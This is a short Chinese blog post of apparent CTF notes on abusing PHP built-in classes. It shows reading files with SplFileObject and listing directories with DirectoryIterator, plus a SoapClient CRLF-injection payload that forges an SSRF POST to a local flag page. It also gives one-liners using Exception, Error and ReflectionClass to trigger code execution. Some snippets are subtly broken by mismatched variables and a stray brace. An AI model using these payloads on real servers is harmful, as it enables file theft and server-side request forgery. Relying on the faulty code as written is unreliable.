• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
capybaras
博客园    首页    新随笔    联系   管理    订阅  订阅
php原生类的使用

php原生类

读取文件

可使用:SplFileObject类
用法:

<?php
  $f=new SplFileObject('/flag') //读取flag文件
}
?>

遍历目录

可使用:DirectoryIterator、RecursiveDirectoryIterator、FilesystemIterator
用法:

<?php
  $f=new DirectoryIterator('/') //扫描根目录 
  foreach($dir as $f) {
    echo($f . '<br>');
}
?>

RecursiveDirectoryIterator、FilesystemIterator类同上
FilesystemIterator不会输出..

访问服务器的类(SSRF可利用)

可使用:SoapClient
代码解析

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,
    'user_agent'=>'chendi^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,
    'uri'=> "dwzzzzzzzzzz")); //构造POST请求,uri参数用于在SOAP消息中标识XML元素和属性的来源或含义。
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
$c =unserialize($a);
$c->aaas(); //调用不存在函数触发__call

使用原生类进行代码执行

使用异常处理类Exception执行代码

echo new Exception(phpinfo());

使用CachingIterator类执行代码

echo new CachingIterator(phpinfo());

使用Error类执行代码

echo new Error(phpinfo());

使用DirectoryIterator类执行代码

echo new DirectoryIterator(phpinfo());

反射类的使用

ReflectionClass

ReflectionClass类可以获取类的名称、父类、接口、方法、属性

<?php
$a=new ReflectionClass('类名');
echo($a);//输出类的名称和属性、方法等
?>
利用ReflectionClass 执行命令
<?php
  echo new ReflectionClass(phpinfo());
?>
posted on 2025-10-26 10:34  Hack_Tea  阅读(1)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3